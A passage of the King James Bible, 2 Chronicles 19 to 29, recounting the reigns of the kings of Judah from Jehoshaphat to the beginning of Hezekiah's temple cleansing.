+judgment. + +19:7 Wherefore now let the fear of the LORD be upon you; take heed and +do it: for there is no iniquity with the LORD our God, nor respect of +persons, nor taking of gifts. + +19:8 Moreover in Jerusalem did Jehoshaphat set of the Levites, and of +the priests, and of the chief of the fathers of Israel, for the +judgment of the LORD, and for controversies, when they returned to +Jerusalem. + +19:9 And he charged them, saying, Thus shall ye do in the fear of the +LORD, faithfully, and with a perfect heart. + +19:10 And what cause soever shall come to you of your brethren that +dwell in your cities, between blood and blood, between law and +commandment, statutes and judgments, ye shall even warn them that they +trespass not against the LORD, and so wrath come upon you, and upon +your brethren: this do, and ye shall not trespass. + +19:11 And, behold, Amariah the chief priest is over you in all matters +of the LORD; and Zebadiah the son of Ishmael, the ruler of the house +of Judah, for all the king's matters: also the Levites shall be +officers before you. Deal courageously, and the LORD shall be with the +good. + +20:1 It came to pass after this also, that the children of Moab, and +the children of Ammon, and with them other beside the Ammonites, came +against Jehoshaphat to battle. + +20:2 Then there came some that told Jehoshaphat, saying, There cometh +a great multitude against thee from beyond the sea on this side Syria; +and, behold, they be in Hazazontamar, which is Engedi. + +20:3 And Jehoshaphat feared, and set himself to seek the LORD, and +proclaimed a fast throughout all Judah. + +20:4 And Judah gathered themselves together, to ask help of the LORD: +even out of all the cities of Judah they came to seek the LORD. + +20:5 And Jehoshaphat stood in the congregation of Judah and Jerusalem, +in the house of the LORD, before the new court, 20:6 And said, O LORD +God of our fathers, art not thou God in heaven? and rulest not thou +over all the kingdoms of the heathen? and in thine hand is there not +power and might, so that none is able to withstand thee? 20:7 Art not +thou our God, who didst drive out the inhabitants of this land before +thy people Israel, and gavest it to the seed of Abraham thy friend for +ever? 20:8 And they dwelt therein, and have built thee a sanctuary +therein for thy name, saying, 20:9 If, when evil cometh upon us, as +the sword, judgment, or pestilence, or famine, we stand before this +house, and in thy presence, (for thy name is in this house,) and cry +unto thee in our affliction, then thou wilt hear and help. + +20:10 And now, behold, the children of Ammon and Moab and mount Seir, +whom thou wouldest not let Israel invade, when they came out of the +land of Egypt, but they turned from them, and destroyed them not; +20:11 Behold, I say, how they reward us, to come to cast us out of thy +possession, which thou hast given us to inherit. + +20:12 O our God, wilt thou not judge them? for we have no might +against this great company that cometh against us; neither know we +what to do: but our eyes are upon thee. + +20:13 And all Judah stood before the LORD, with their little ones, +their wives, and their children. + +20:14 Then upon Jahaziel the son of Zechariah, the son of Benaiah, the +son of Jeiel, the son of Mattaniah, a Levite of the sons of Asaph, +came the Spirit of the LORD in the midst of the congregation; 20:15 +And he said, Hearken ye, all Judah, and ye inhabitants of Jerusalem, +and thou king Jehoshaphat, Thus saith the LORD unto you, Be not afraid +nor dismayed by reason of this great multitude; for the battle is not +yours, but God's. + +20:16 To morrow go ye down against them: behold, they come up by the +cliff of Ziz; and ye shall find them at the end of the brook, before +the wilderness of Jeruel. + +20:17 Ye shall not need to fight in this battle: set yourselves, stand +ye still, and see the salvation of the LORD with you, O Judah and +Jerusalem: fear not, nor be dismayed; to morrow go out against them: +for the LORD will be with you. + +20:18 And Jehoshaphat bowed his head with his face to the ground: and +all Judah and the inhabitants of Jerusalem fell before the LORD, +worshipping the LORD. + +20:19 And the Levites, of the children of the Kohathites, and of the +children of the Korhites, stood up to praise the LORD God of Israel +with a loud voice on high. + +20:20 And they rose early in the morning, and went forth into the +wilderness of Tekoa: and as they went forth, Jehoshaphat stood and +said, Hear me, O Judah, and ye inhabitants of Jerusalem; Believe in +the LORD your God, so shall ye be established; believe his prophets, +so shall ye prosper. + +20:21 And when he had consulted with the people, he appointed singers +unto the LORD, and that should praise the beauty of holiness, as they +went out before the army, and to say, Praise the LORD; for his mercy +endureth for ever. + +20:22 And when they began to sing and to praise, the LORD set +ambushments against the children of Ammon, Moab, and mount Seir, which +were come against Judah; and they were smitten. + +20:23 For the children of Ammon and Moab stood up against the +inhabitants of mount Seir, utterly to slay and destroy them: and when +they had made an end of the inhabitants of Seir, every one helped to +destroy another. + +20:24 And when Judah came toward the watch tower in the wilderness, +they looked unto the multitude, and, behold, they were dead bodies +fallen to the earth, and none escaped. + +20:25 And when Jehoshaphat and his people came to take away the spoil +of them, they found among them in abundance both riches with the dead +bodies, and precious jewels, which they stripped off for themselves, +more than they could carry away: and they were three days in gathering +of the spoil, it was so much. + +20:26 And on the fourth day they assembled themselves in the valley of +Berachah; for there they blessed the LORD: therefore the name of the +same place was called, The valley of Berachah, unto this day. + +20:27 Then they returned, every man of Judah and Jerusalem, and +Jehoshaphat in the forefront of them, to go again to Jerusalem with +joy; for the LORD had made them to rejoice over their enemies. + +20:28 And they came to Jerusalem with psalteries and harps and +trumpets unto the house of the LORD. + +20:29 And the fear of God was on all the kingdoms of those countries, +when they had heard that the LORD fought against the enemies of +Israel. + +20:30 So the realm of Jehoshaphat was quiet: for his God gave him rest +round about. + +20:31 And Jehoshaphat reigned over Judah: he was thirty and five years +old when he began to reign, and he reigned twenty and five years in +Jerusalem. + +And his mother's name was Azubah the daughter of Shilhi. + +20:32 And he walked in the way of Asa his father, and departed not +from it, doing that which was right in the sight of the LORD. + +20:33 Howbeit the high places were not taken away: for as yet the +people had not prepared their hearts unto the God of their fathers. + +20:34 Now the rest of the acts of Jehoshaphat, first and last, behold, +they are written in the book of Jehu the son of Hanani, who is +mentioned in the book of the kings of Israel. + +20:35 And after this did Jehoshaphat king of Judah join himself with +Ahaziah king of Israel, who did very wickedly: 20:36 And he joined +himself with him to make ships to go to Tarshish: and they made the +ships in Eziongaber. + +20:37 Then Eliezer the son of Dodavah of Mareshah prophesied against +Jehoshaphat, saying, Because thou hast joined thyself with Ahaziah, +the LORD hath broken thy works. And the ships were broken, that they +were not able to go to Tarshish. + +21:1 Now Jehoshaphat slept with his fathers, and was buried with his +fathers in the city of David. And Jehoram his son reigned in his +stead. + +21:2 And he had brethren the sons of Jehoshaphat, Azariah, and Jehiel, +and Zechariah, and Azariah, and Michael, and Shephatiah: all these +were the sons of Jehoshaphat king of Israel. + +21:3 And their father gave them great gifts of silver, and of gold, +and of precious things, with fenced cities in Judah: but the kingdom +gave he to Jehoram; because he was the firstborn. + +21:4 Now when Jehoram was risen up to the kingdom of his father, he +strengthened himself, and slew all his brethren with the sword, and +divers also of the princes of Israel. + +21:5 Jehoram was thirty and two years old when he began to reign, and +he reigned eight years in Jerusalem. + +21:6 And he walked in the way of the kings of Israel, like as did the +house of Ahab: for he had the daughter of Ahab to wife: and he wrought +that which was evil in the eyes of the LORD. + +21:7 Howbeit the LORD would not destroy the house of David, because of +the covenant that he had made with David, and as he promised to give a +light to him and to his sons for ever. + +21:8 In his days the Edomites revolted from under the dominion of +Judah, and made themselves a king. + +21:9 Then Jehoram went forth with his princes, and all his chariots +with him: and he rose up by night, and smote the Edomites which +compassed him in, and the captains of the chariots. + +21:10 So the Edomites revolted from under the hand of Judah unto this +day. + +The same time also did Libnah revolt from under his hand; because he +had forsaken the LORD God of his fathers. + +21:11 Moreover he made high places in the mountains of Judah and +caused the inhabitants of Jerusalem to commit fornication, and +compelled Judah thereto. + +21:12 And there came a writing to him from Elijah the prophet, saying, +Thus saith the LORD God of David thy father, Because thou hast not +walked in the ways of Jehoshaphat thy father, nor in the ways of Asa +king of Judah, 21:13 But hast walked in the way of the kings of +Israel, and hast made Judah and the inhabitants of Jerusalem to go a +whoring, like to the whoredoms of the house of Ahab, and also hast +slain thy brethren of thy father's house, which were better than +thyself: 21:14 Behold, with a great plague will the LORD smite thy +people, and thy children, and thy wives, and all thy goods: 21:15 And +thou shalt have great sickness by disease of thy bowels, until thy +bowels fall out by reason of the sickness day by day. + +21:16 Moreover the LORD stirred up against Jehoram the spirit of the +Philistines, and of the Arabians, that were near the Ethiopians: 21:17 +And they came up into Judah, and brake into it, and carried away all +the substance that was found in the king's house, and his sons also, +and his wives; so that there was never a son left him, save Jehoahaz, +the youngest of his sons. + +21:18 And after all this the LORD smote him in his bowels with an +incurable disease. + +21:19 And it came to pass, that in process of time, after the end of +two years, his bowels fell out by reason of his sickness: so he died +of sore diseases. And his people made no burning for him, like the +burning of his fathers. + +21:20 Thirty and two years old was he when he began to reign, and he +reigned in Jerusalem eight years, and departed without being desired. +Howbeit they buried him in the city of David, but not in the +sepulchres of the kings. + +22:1 And the inhabitants of Jerusalem made Ahaziah his youngest son +king in his stead: for the band of men that came with the Arabians to +the camp had slain all the eldest. So Ahaziah the son of Jehoram king +of Judah reigned. + +22:2 Forty and two years old was Ahaziah when he began to reign, and +he reigned one year in Jerusalem. His mother's name also was Athaliah +the daughter of Omri. + +22:3 He also walked in the ways of the house of Ahab: for his mother +was his counsellor to do wickedly. + +22:4 Wherefore he did evil in the sight of the LORD like the house of +Ahab: for they were his counsellors after the death of his father to +his destruction. + +22:5 He walked also after their counsel, and went with Jehoram the son +of Ahab king of Israel to war against Hazael king of Syria at +Ramothgilead: and the Syrians smote Joram. + +22:6 And he returned to be healed in Jezreel because of the wounds +which were given him at Ramah, when he fought with Hazael king of +Syria. And Azariah the son of Jehoram king of Judah went down to see +Jehoram the son of Ahab at Jezreel, because he was sick. + +22:7 And the destruction of Ahaziah was of God by coming to Joram: for +when he was come, he went out with Jehoram against Jehu the son of +Nimshi, whom the LORD had anointed to cut off the house of Ahab. + +22:8 And it came to pass, that, when Jehu was executing judgment upon +the house of Ahab, and found the princes of Judah, and the sons of the +brethren of Ahaziah, that ministered to Ahaziah, he slew them. + +22:9 And he sought Ahaziah: and they caught him, (for he was hid in +Samaria,) and brought him to Jehu: and when they had slain him, they +buried him: Because, said they, he is the son of Jehoshaphat, who +sought the LORD with all his heart. So the house of Ahaziah had no +power to keep still the kingdom. + +22:10 But when Athaliah the mother of Ahaziah saw that her son was +dead, she arose and destroyed all the seed royal of the house of +Judah. + +22:11 But Jehoshabeath, the daughter of the king, took Joash the son +of Ahaziah, and stole him from among the king's sons that were slain, +and put him and his nurse in a bedchamber. So Jehoshabeath, the +daughter of king Jehoram, the wife of Jehoiada the priest, (for she +was the sister of Ahaziah,) hid him from Athaliah, so that she slew +him not. + +22:12 And he was with them hid in the house of God six years: and +Athaliah reigned over the land. + +23:1 And in the seventh year Jehoiada strengthened himself, and took +the captains of hundreds, Azariah the son of Jeroham, and Ishmael the +son of Jehohanan, and Azariah the son of Obed, and Maaseiah the son of +Adaiah, and Elishaphat the son of Zichri, into covenant with him. + +23:2 And they went about in Judah, and gathered the Levites out of all +the cities of Judah, and the chief of the fathers of Israel, and they +came to Jerusalem. + +23:3 And all the congregation made a covenant with the king in the +house of God. And he said unto them, Behold, the king's son shall +reign, as the LORD hath said of the sons of David. + +23:4 This is the thing that ye shall do; A third part of you entering +on the sabbath, of the priests and of the Levites, shall be porters of +the doors; 23:5 And a third part shall be at the king's house; and a +third part at the gate of the foundation: and all the people shall be +in the courts of the house of the LORD. + +23:6 But let none come into the house of the LORD, save the priests, +and they that minister of the Levites; they shall go in, for they are +holy: but all the people shall keep the watch of the LORD. + +23:7 And the Levites shall compass the king round about, every man +with his weapons in his hand; and whosoever else cometh into the +house, he shall be put to death: but be ye with the king when he +cometh in, and when he goeth out. + +23:8 So the Levites and all Judah did according to all things that +Jehoiada the priest had commanded, and took every man his men that +were to come in on the sabbath, with them that were to go out on the +sabbath: for Jehoiada the priest dismissed not the courses. + +23:9 Moreover Jehoiada the priest delivered to the captains of +hundreds spears, and bucklers, and shields, that had been king +David's, which were in the house of God. + +23:10 And he set all the people, every man having his weapon in his +hand, from the right side of the temple to the left side of the +temple, along by the altar and the temple, by the king round about. + +23:11 Then they brought out the king's son, and put upon him the +crown, and gave him the testimony, and made him king. And Jehoiada and +his sons anointed him, and said, God save the king. + +23:12 Now when Athaliah heard the noise of the people running and +praising the king, she came to the people into the house of the LORD: +23:13 And she looked, and, behold, the king stood at his pillar at the +entering in, and the princes and the trumpets by the king: and all the +people of the land rejoiced, and sounded with trumpets, also the +singers with instruments of musick, and such as taught to sing praise. +Then Athaliah rent her clothes, and said, Treason, Treason. + +23:14 Then Jehoiada the priest brought out the captains of hundreds +that were set over the host, and said unto them, Have her forth of the +ranges: and whoso followeth her, let him be slain with the sword. For +the priest said, Slay her not in the house of the LORD. + +23:15 So they laid hands on her; and when she was come to the entering +of the horse gate by the king's house, they slew her there. + +23:16 And Jehoiada made a covenant between him, and between all the +people, and between the king, that they should be the LORD's people. + +23:17 Then all the people went to the house of Baal, and brake it +down, and brake his altars and his images in pieces, and slew Mattan +the priest of Baal before the altars. + +23:18 Also Jehoiada appointed the offices of the house of the LORD by +the hand of the priests the Levites, whom David had distributed in the +house of the LORD, to offer the burnt offerings of the LORD, as it is +written in the law of Moses, with rejoicing and with singing, as it +was ordained by David. + +23:19 And he set the porters at the gates of the house of the LORD, +that none which was unclean in any thing should enter in. + +23:20 And he took the captains of hundreds, and the nobles, and the +governors of the people, and all the people of the land, and brought +down the king from the house of the LORD: and they came through the +high gate into the king's house, and set the king upon the throne of +the kingdom. + +23:21 And all the people of the land rejoiced: and the city was quiet, +after that they had slain Athaliah with the sword. + +24:1 Joash was seven years old when he began to reign, and he reigned +forty years in Jerusalem. His mother's name also was Zibiah of +Beersheba. + +24:2 And Joash did that which was right in the sight of the LORD all +the days of Jehoiada the priest. + +24:3 And Jehoiada took for him two wives; and he begat sons and +daughters. + +24:4 And it came to pass after this, that Joash was minded to repair +the house of the LORD. + +24:5 And he gathered together the priests and the Levites, and said to +them, Go out unto the cities of Judah, and gather of all Israel money +to repair the house of your God from year to year, and see that ye +hasten the matter. Howbeit the Levites hastened it not. + +24:6 And the king called for Jehoiada the chief, and said unto him, +Why hast thou not required of the Levites to bring in out of Judah and +out of Jerusalem the collection, according to the commandment of Moses +the servant of the LORD, and of the congregation of Israel, for the +tabernacle of witness? 24:7 For the sons of Athaliah, that wicked +woman, had broken up the house of God; and also all the dedicated +things of the house of the LORD did they bestow upon Baalim. + +24:8 And at the king's commandment they made a chest, and set it +without at the gate of the house of the LORD. + +24:9 And they made a proclamation through Judah and Jerusalem, to +bring in to the LORD the collection that Moses the servant of God laid +upon Israel in the wilderness. + +24:10 And all the princes and all the people rejoiced, and brought in, +and cast into the chest, until they had made an end. + +24:11 Now it came to pass, that at what time the chest was brought +unto the king's office by the hand of the Levites, and when they saw +that there was much money, the king's scribe and the high priest's +officer came and emptied the chest, and took it, and carried it to his +place again. Thus they did day by day, and gathered money in +abundance. + +24:12 And the king and Jehoiada gave it to such as did the work of the +service of the house of the LORD, and hired masons and carpenters to +repair the house of the LORD, and also such as wrought iron and brass +to mend the house of the LORD. + +24:13 So the workmen wrought, and the work was perfected by them, and +they set the house of God in his state, and strengthened it. + +24:14 And when they had finished it, they brought the rest of the +money before the king and Jehoiada, whereof were made vessels for the +house of the LORD, even vessels to minister, and to offer withal, and +spoons, and vessels of gold and silver. And they offered burnt +offerings in the house of the LORD continually all the days of +Jehoiada. + +24:15 But Jehoiada waxed old, and was full of days when he died; an +hundred and thirty years old was he when he died. + +24:16 And they buried him in the city of David among the kings, +because he had done good in Israel, both toward God, and toward his +house. + +24:17 Now after the death of Jehoiada came the princes of Judah, and +made obeisance to the king. Then the king hearkened unto them. + +24:18 And they left the house of the LORD God of their fathers, and +served groves and idols: and wrath came upon Judah and Jerusalem for +this their trespass. + +24:19 Yet he sent prophets to them, to bring them again unto the LORD; +and they testified against them: but they would not give ear. + +24:20 And the Spirit of God came upon Zechariah the son of Jehoiada +the priest, which stood above the people, and said unto them, Thus +saith God, Why transgress ye the commandments of the LORD, that ye +cannot prosper? because ye have forsaken the LORD, he hath also +forsaken you. + +24:21 And they conspired against him, and stoned him with stones at +the commandment of the king in the court of the house of the LORD. + +24:22 Thus Joash the king remembered not the kindness which Jehoiada +his father had done to him, but slew his son. And when he died, he +said, The LORD look upon it, and require it. + +24:23 And it came to pass at the end of the year, that the host of +Syria came up against him: and they came to Judah and Jerusalem, and +destroyed all the princes of the people from among the people, and +sent all the spoil of them unto the king of Damascus. + +24:24 For the army of the Syrians came with a small company of men, +and the LORD delivered a very great host into their hand, because they +had forsaken the LORD God of their fathers. So they executed judgment +against Joash. + +24:25 And when they were departed from him, (for they left him in +great diseases,) his own servants conspired against him for the blood +of the sons of Jehoiada the priest, and slew him on his bed, and he +died: and they buried him in the city of David, but they buried him +not in the sepulchres of the kings. + +24:26 And these are they that conspired against him; Zabad the son of +Shimeath an Ammonitess, and Jehozabad the son of Shimrith a Moabitess. + +24:27 Now concerning his sons, and the greatness of the burdens laid +upon him, and the repairing of the house of God, behold, they are +written in the story of the book of the kings. And Amaziah his son +reigned in his stead. + +25:1 Amaziah was twenty and five years old when he began to reign, and +he reigned twenty and nine years in Jerusalem. And his mother's name +was Jehoaddan of Jerusalem. + +25:2 And he did that which was right in the sight of the LORD, but not +with a perfect heart. + +25:3 Now it came to pass, when the kingdom was established to him, +that he slew his servants that had killed the king his father. + +25:4 But he slew not their children, but did as it is written in the +law in the book of Moses, where the LORD commanded, saying, The +fathers shall not die for the children, neither shall the children die +for the fathers, but every man shall die for his own sin. + +25:5 Moreover Amaziah gathered Judah together, and made them captains +over thousands, and captains over hundreds, according to the houses of +their fathers, throughout all Judah and Benjamin: and he numbered them +from twenty years old and above, and found them three hundred thousand +choice men, able to go forth to war, that could handle spear and +shield. + +25:6 He hired also an hundred thousand mighty men of valour out of +Israel for an hundred talents of silver. + +25:7 But there came a man of God to him, saying, O king, let not the +army of Israel go with thee; for the LORD is not with Israel, to wit, +with all the children of Ephraim. + +25:8 But if thou wilt go, do it; be strong for the battle: God shall +make thee fall before the enemy: for God hath power to help, and to +cast down. + +25:9 And Amaziah said to the man of God, But what shall we do for the +hundred talents which I have given to the army of Israel? And the man +of God answered, The LORD is able to give thee much more than this. + +25:10 Then Amaziah separated them, to wit, the army that was come to +him out of Ephraim, to go home again: wherefore their anger was +greatly kindled against Judah, and they returned home in great anger. + +25:11 And Amaziah strengthened himself, and led forth his people, and +went to the valley of salt, and smote of the children of Seir ten +thousand. + +25:12 And other ten thousand left alive did the children of Judah +carry away captive, and brought them unto the top of the rock, and +cast them down from the top of the rock, that they all were broken in +pieces. + +25:13 But the soldiers of the army which Amaziah sent back, that they +should not go with him to battle, fell upon the cities of Judah, from +Samaria even unto Bethhoron, and smote three thousand of them, and +took much spoil. + +25:14 Now it came to pass, after that Amaziah was come from the +slaughter of the Edomites, that he brought the gods of the children of +Seir, and set them up to be his gods, and bowed down himself before +them, and burned incense unto them. + +25:15 Wherefore the anger of the LORD was kindled against Amaziah, and +he sent unto him a prophet, which said unto him, Why hast thou sought +after the gods of the people, which could not deliver their own people +out of thine hand? 25:16 And it came to pass, as he talked with him, +that the king said unto him, Art thou made of the king's counsel? +forbear; why shouldest thou be smitten? Then the prophet forbare, and +said, I know that God hath determined to destroy thee, because thou +hast done this, and hast not hearkened unto my counsel. + +25:17 Then Amaziah king of Judah took advice, and sent to Joash, the +son of Jehoahaz, the son of Jehu, king of Israel, saying, Come, let us +see one another in the face. + +25:18 And Joash king of Israel sent to Amaziah king of Judah, saying, +The thistle that was in Lebanon sent to the cedar that was in Lebanon, +saying, Give thy daughter to my son to wife: and there passed by a +wild beast that was in Lebanon, and trode down the thistle. + +25:19 Thou sayest, Lo, thou hast smitten the Edomites; and thine heart +lifteth thee up to boast: abide now at home; why shouldest thou meddle +to thine hurt, that thou shouldest fall, even thou, and Judah with +thee? 25:20 But Amaziah would not hear; for it came of God, that he +might deliver them into the hand of their enemies, because they sought +after the gods of Edom. + +25:21 So Joash the king of Israel went up; and they saw one another in +the face, both he and Amaziah king of Judah, at Bethshemesh, which +belongeth to Judah. + +25:22 And Judah was put to the worse before Israel, and they fled +every man to his tent. + +25:23 And Joash the king of Israel took Amaziah king of Judah, the son +of Joash, the son of Jehoahaz, at Bethshemesh, and brought him to +Jerusalem, and brake down the wall of Jerusalem from the gate of +Ephraim to the corner gate, four hundred cubits. + +25:24 And he took all the gold and the silver, and all the vessels +that were found in the house of God with Obededom, and the treasures +of the king's house, the hostages also, and returned to Samaria. + +25:25 And Amaziah the son of Joash king of Judah lived after the death +of Joash son of Jehoahaz king of Israel fifteen years. + +25:26 Now the rest of the acts of Amaziah, first and last, behold, are +they not written in the book of the kings of Judah and Israel? 25:27 +Now after the time that Amaziah did turn away from following the LORD +they made a conspiracy against him in Jerusalem; and he fled to +Lachish: but they sent to Lachish after him, and slew him there. + +25:28 And they brought him upon horses, and buried him with his +fathers in the city of Judah. + +26:1 Then all the people of Judah took Uzziah, who was sixteen years +old, and made him king in the room of his father Amaziah. + +26:2 He built Eloth, and restored it to Judah, after that the king +slept with his fathers. + +26:3 Sixteen years old was Uzziah when he began to reign, and he +reigned fifty and two years in Jerusalem. His mother's name also was +Jecoliah of Jerusalem. + +26:4 And he did that which was right in the sight of the LORD, +according to all that his father Amaziah did. + +26:5 And he sought God in the days of Zechariah, who had understanding +in the visions of God: and as long as he sought the LORD, God made him +to prosper. + +26:6 And he went forth and warred against the Philistines, and brake +down the wall of Gath, and the wall of Jabneh, and the wall of Ashdod, +and built cities about Ashdod, and among the Philistines. + +26:7 And God helped him against the Philistines, and against the +Arabians that dwelt in Gurbaal, and the Mehunims. + +26:8 And the Ammonites gave gifts to Uzziah: and his name spread +abroad even to the entering in of Egypt; for he strengthened himself +exceedingly. + +26:9 Moreover Uzziah built towers in Jerusalem at the corner gate, and +at the valley gate, and at the turning of the wall, and fortified +them. + +26:10 Also he built towers in the desert, and digged many wells: for +he had much cattle, both in the low country, and in the plains: +husbandmen also, and vine dressers in the mountains, and in Carmel: +for he loved husbandry. + +26:11 Moreover Uzziah had an host of fighting men, that went out to +war by bands, according to the number of their account by the hand of +Jeiel the scribe and Maaseiah the ruler, under the hand of Hananiah, +one of the king's captains. + +26:12 The whole number of the chief of the fathers of the mighty men +of valour were two thousand and six hundred. + +26:13 And under their hand was an army, three hundred thousand and +seven thousand and five hundred, that made war with mighty power, to +help the king against the enemy. + +26:14 And Uzziah prepared for them throughout all the host shields, +and spears, and helmets, and habergeons, and bows, and slings to cast +stones. + +26:15 And he made in Jerusalem engines, invented by cunning men, to be +on the towers and upon the bulwarks, to shoot arrows and great stones +withal. + +And his name spread far abroad; for he was marvellously helped, till +he was strong. + +26:16 But when he was strong, his heart was lifted up to his +destruction: for he transgressed against the LORD his God, and went +into the temple of the LORD to burn incense upon the altar of incense. + +26:17 And Azariah the priest went in after him, and with him fourscore +priests of the LORD, that were valiant men: 26:18 And they withstood +Uzziah the king, and said unto him, It appertaineth not unto thee, +Uzziah, to burn incense unto the LORD, but to the priests the sons of +Aaron, that are consecrated to burn incense: go out of the sanctuary; +for thou hast trespassed; neither shall it be for thine honour from +the LORD God. + +26:19 Then Uzziah was wroth, and had a censer in his hand to burn +incense: and while he was wroth with the priests, the leprosy even +rose up in his forehead before the priests in the house of the LORD, +from beside the incense altar. + +26:20 And Azariah the chief priest, and all the priests, looked upon +him, and, behold, he was leprous in his forehead, and they thrust him +out from thence; yea, himself hasted also to go out, because the LORD +had smitten him. + +26:21 And Uzziah the king was a leper unto the day of his death, and +dwelt in a several house, being a leper; for he was cut off from the +house of the LORD: and Jotham his son was over the king's house, +judging the people of the land. + +26:22 Now the rest of the acts of Uzziah, first and last, did Isaiah +the prophet, the son of Amoz, write. + +26:23 So Uzziah slept with his fathers, and they buried him with his +fathers in the field of the burial which belonged to the kings; for +they said, He is a leper: and Jotham his son reigned in his stead. + +27:1 Jotham was twenty and five years old when he began to reign, and +he reigned sixteen years in Jerusalem. His mother's name also was +Jerushah, the daughter of Zadok. + +27:2 And he did that which was right in the sight of the LORD, +according to all that his father Uzziah did: howbeit he entered not +into the temple of the LORD. And the people did yet corruptly. + +27:3 He built the high gate of the house of the LORD, and on the wall +of Ophel he built much. + +27:4 Moreover he built cities in the mountains of Judah, and in the +forests he built castles and towers. + +27:5 He fought also with the king of the Ammonites, and prevailed +against them. And the children of Ammon gave him the same year an +hundred talents of silver, and ten thousand measures of wheat, and ten +thousand of barley. So much did the children of Ammon pay unto him, +both the second year, and the third. + +27:6 So Jotham became mighty, because he prepared his ways before the +LORD his God. + +27:7 Now the rest of the acts of Jotham, and all his wars, and his +ways, lo, they are written in the book of the kings of Israel and +Judah. + +27:8 He was five and twenty years old when he began to reign, and +reigned sixteen years in Jerusalem. + +27:9 And Jotham slept with his fathers, and they buried him in the +city of David: and Ahaz his son reigned in his stead. + +28:1 Ahaz was twenty years old when he began to reign, and he reigned +sixteen years in Jerusalem: but he did not that which was right in the +sight of the LORD, like David his father: 28:2 For he walked in the +ways of the kings of Israel, and made also molten images for Baalim. + +28:3 Moreover he burnt incense in the valley of the son of Hinnom, and +burnt his children in the fire, after the abominations of the heathen +whom the LORD had cast out before the children of Israel. + +28:4 He sacrificed also and burnt incense in the high places, and on +the hills, and under every green tree. + +28:5 Wherefore the LORD his God delivered him into the hand of the +king of Syria; and they smote him, and carried away a great multitude +of them captives, and brought them to Damascus. And he was also +delivered into the hand of the king of Israel, who smote him with a +great slaughter. + +28:6 For Pekah the son of Remaliah slew in Judah an hundred and twenty +thousand in one day, which were all valiant men; because they had +forsaken the LORD God of their fathers. + +28:7 And Zichri, a mighty man of Ephraim, slew Maaseiah the king's +son, and Azrikam the governor of the house, and Elkanah that was next +to the king. + +28:8 And the children of Israel carried away captive of their brethren +two hundred thousand, women, sons, and daughters, and took also away +much spoil from them, and brought the spoil to Samaria. + +28:9 But a prophet of the LORD was there, whose name was Oded: and he +went out before the host that came to Samaria, and said unto them, +Behold, because the LORD God of your fathers was wroth with Judah, he +hath delivered them into your hand, and ye have slain them in a rage +that reacheth up unto heaven. + +28:10 And now ye purpose to keep under the children of Judah and +Jerusalem for bondmen and bondwomen unto you: but are there not with +you, even with you, sins against the LORD your God? 28:11 Now hear me +therefore, and deliver the captives again, which ye have taken captive +of your brethren: for the fierce wrath of the LORD is upon you. + +28:12 Then certain of the heads of the children of Ephraim, Azariah +the son of Johanan, Berechiah the son of Meshillemoth, and Jehizkiah +the son of Shallum, and Amasa the son of Hadlai, stood up against them +that came from the war, 28:13 And said unto them, Ye shall not bring +in the captives hither: for whereas we have offended against the LORD +already, ye intend to add more to our sins and to our trespass: for +our trespass is great, and there is fierce wrath against Israel. + +28:14 So the armed men left the captives and the spoil before the +princes and all the congregation. + +28:15 And the men which were expressed by name rose up, and took the +captives, and with the spoil clothed all that were naked among them, +and arrayed them, and shod them, and gave them to eat and to drink, +and anointed them, and carried all the feeble of them upon asses, and +brought them to Jericho, the city of palm trees, to their brethren: +then they returned to Samaria. + +28:16 At that time did king Ahaz send unto the kings of Assyria to +help him. + +28:17 For again the Edomites had come and smitten Judah, and carried +away captives. + +28:18 The Philistines also had invaded the cities of the low country, +and of the south of Judah, and had taken Bethshemesh, and Ajalon, and +Gederoth, and Shocho with the villages thereof, and Timnah with the +villages thereof, Gimzo also and the villages thereof: and they dwelt +there. + +28:19 For the LORD brought Judah low because of Ahaz king of Israel; +for he made Judah naked, and transgressed sore against the LORD. + +28:20 And Tilgathpilneser king of Assyria came unto him, and +distressed him, but strengthened him not. + +28:21 For Ahaz took away a portion out of the house of the LORD, and +out of the house of the king, and of the princes, and gave it unto the +king of Assyria: but he helped him not. + +28:22 And in the time of his distress did he trespass yet more against +the LORD: this is that king Ahaz. + +28:23 For he sacrificed unto the gods of Damascus, which smote him: +and he said, Because the gods of the kings of Syria help them, +therefore will I sacrifice to them, that they may help me. But they +were the ruin of him, and of all Israel. + +28:24 And Ahaz gathered together the vessels of the house of God, and +cut in pieces the vessels of the house of God, and shut up the doors +of the house of the LORD, and he made him altars in every corner of +Jerusalem. + +28:25 And in every several city of Judah he made high places to burn +incense unto other gods, and provoked to anger the LORD God of his +fathers. + +28:26 Now the rest of his acts and of all his ways, first and last, +behold, they are written in the book of the kings of Judah and Israel. + +28:27 And Ahaz slept with his fathers, and they buried him in the +city, even in Jerusalem: but they brought him not into the sepulchres +of the kings of Israel: and Hezekiah his son reigned in his stead. + +29:1 Hezekiah began to reign when he was five and twenty years old, +and he reigned nine and twenty years in Jerusalem. And his mother's +name was Abijah, the daughter of Zechariah. + +29:2 And he did that which was right in the sight of the LORD, +according to all that David his father had done. + +29:3 He in the first year of his reign, in the first month, opened the +doors of the house of the LORD, and repaired them. + +29:4 And he brought in the priests and the Levites, and gathered them +together into the east street, 29:5 And said unto them, Hear me, ye +Levites, sanctify now yourselves, and sanctify the house of the LORD +God of your fathers, and carry forth the filthiness out of the holy +place. + +29:6 For our fathers have trespassed, and done that which was evil in +the eyes of the LORD our God, and have forsaken him, and have turned +away their faces from the habitation of the LORD, and turned their +backs. + +29:7 Also they have shut up the doors of the porch, and put out the +lamps, and have not burned incense nor offered burnt offerings in the +holy place unto the God of Israel. + +29:8 Wherefore the wrath of the LORD was upon Judah and Jerusalem, and +he hath delivered them to trouble, to astonishment, and to hissing, as +ye see with your eyes. + +29:9 For, lo, our fathers have fallen by the sword, and our sons and +our daughters and our wives are in captivity for this. + +29:10 Now it is in mine heart to make a covenant with the LORD God of +Israel, that his fierce wrath may turn away from us. + +29:11 My sons, be not now negligent: for the LORD hath chosen you to +stand before him, to serve him, and that ye should minister unto him, +and burn incense. + +29:12 Then the Levites arose, Mahath the son of Amasai, and Joel the +son of Azariah, of the sons of the Kohathites: and of the sons of +Merari, Kish the son of Abdi, and Azariah the son of Jehalelel: and of +the Gershonites; Joah the son of Zimmah, and Eden the son of Joah: +29:13 And of the sons of Elizaphan; Shimri, and Jeiel: and of the sons +of Asaph; Zechariah, and Mattaniah: 29:14 And of the sons of Heman; +Jehiel, and Shimei: and of the sons of Jeduthun; Shemaiah, and Uzziel. + +29:15 And they gathered their brethren, and sanctified themselves, and +came, according to the commandment of the king, by the words of the +LORD, to cleanse the house of the LORD. + +29:16 And the priests went into the inner part of the house of the +LORD, to cleanse 